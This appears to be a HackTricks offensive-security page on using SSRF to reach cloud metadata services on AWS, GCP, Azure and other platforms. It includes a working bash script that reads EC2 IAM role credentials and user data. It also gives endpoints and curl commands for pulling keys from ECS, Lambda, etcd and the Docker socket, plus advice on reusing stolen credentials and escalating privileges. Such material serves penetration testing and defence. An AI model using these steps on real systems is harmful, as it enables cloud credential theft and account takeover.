Edit

Cloud SSRF

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

AWS

Abusing SSRF in AWS EC2 environment

The metadata endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: http://169.254.169.254 (information about the metadata here).

There are 2 versions of the metadata endpoint. The first one allows to access the endpoint via GET requests (so any SSRF can exploit it). For the version 2, IMDSv2, you need to ask for a token sending a PUT request with a HTTP header and then use that token to access the metadata with another HTTP header (so it's more complicated to abuse with a SSRF).

Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.

Moreover, IMDSv2 will also block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

You can find information about the metadata endpoints in the docs. In the following script some interesting information is obtained from it:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
    aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
    aws_req="wget -q -O - -H '$HEADER'"
else 
    echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do 
  echo "Mac: $mac"
  printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
  printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
  printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
  echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
  printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
  echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
  printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
  echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
  echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do 
  echo "Role: $role"
  eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
  echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

As a publicly available IAM credentials exposed example you can visit: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

You can also check public EC2 security credentials in: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do.

To take advantage of the new credentials, you will need to crate a new AWS profile like this one:

Notice the aws_session_token, this is indispensable for the profile to work.

PACU can be used with the discovered credentials to find out your privileges and try to escalate privileges

SSRF in AWS ECS (Container Service) credentials

ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.

If you access http://169.254.170.2/v2/credentials/<GUID> you will find the credentials of the ECS machine. But first you need to find the <GUID>. To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine. You could be able to read it exploiting an Path Traversal to file:///proc/self/environ The mentioned http address should give you the AccessKey, SecretKey and token.

Note that in some cases you will be able to access the EC2 metadata instance from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.

SSRF for AWS Lambda

In this case the credentials are stored in env variables. So, to access them you need to access something like file:///proc/self/environ.

The name of the interesting env variables are:

  • AWS_SESSION_TOKEN

  • AWS_SECRET_ACCESS_KEY

  • AWS_ACCES_KEY_ID

Moreover, in addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface and could contain sensitive information (like inside the stageVariables). Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.

Note that lambda credentials are inside the env variables. So if the stack trace of the lambda code prints env vars, it's possible to exfiltrate them provoking an error in the app.

SSRF URL for AWS Elastic Beanstalk

We retrieve the accountId and region from the API.

We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.

Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

You can find here the docs about metadata endpoints.

SSRF URL for Google Cloud

Requires the HTTP header Metadata-Flavor: Google and you can access the metadata endpoint in with the following URLs:

  • http://169.254.169.254

  • http://metadata.google.internal

  • http://metadata

Interesting endpoints to extract information:

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

In order to use the exfiltrated service account token you can just do:

Add an SSH key

Extract the token

Check the scope of the token (with the previous output or running the following)

Now push the SSH key.

Cloud Functions

The metadata endpoint works the same as in VMs but without some endpoints:

Digital Ocean

There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials

Documentation available at https://developers.digitalocean.com/documentation/metadata/

Azure

Azure VM

Docs in here.

  • Must contain the header Metadata: true

  • Must not contain an X-Forwarded-For header

Azure App Service

From the env you can get the values of IDENTITY_HEADER and IDENTITY_ENDPOINT. That you can use to gather a token to speak with the metadata server.

Most of the time, you want a token for one of these resources:

IBM Cloud

Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM

Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.

Packetcloud

For accessing Packetcloud's metadata, the documentation can be found at: https://metadata.packet.net/userdata

OpenStack/RackSpace

The necessity for a header is not mentioned. Metadata can be accessed through:

  • http://169.254.169.254/openstack

HP Helion

The necessity for a header is not mentioned here either. Metadata is accessible at:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud provides a series of endpoints for accessing various metadata aspects:

  • http://192.0.0.192/latest/

  • http://192.0.0.192/latest/user-data/

  • http://192.0.0.192/latest/meta-data/

  • http://192.0.0.192/latest/attributes/

Alibaba

Alibaba offers endpoints for accessing metadata, including instance and image IDs:

  • http://100.100.100.200/latest/meta-data/

  • http://100.100.100.200/latest/meta-data/instance-id

  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through:

  • curl -L http://127.0.0.1:2379/version

  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker metadata can be accessed locally, with examples given for container and image information retrieval:

  • Simple example to access containers and images metadata via the Docker socket:

    • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash

    • Inside the container, use curl with the Docker socket:

      • curl --unix-socket /var/run/docker.sock http://foo/containers/json

      • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher's metadata can be accessed using:

  • curl http://rancher-metadata/<version>/<path>

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
PreviousSSRF Vulnerable PlatformsNextSSTI (Server Side Template Injection)

Last updated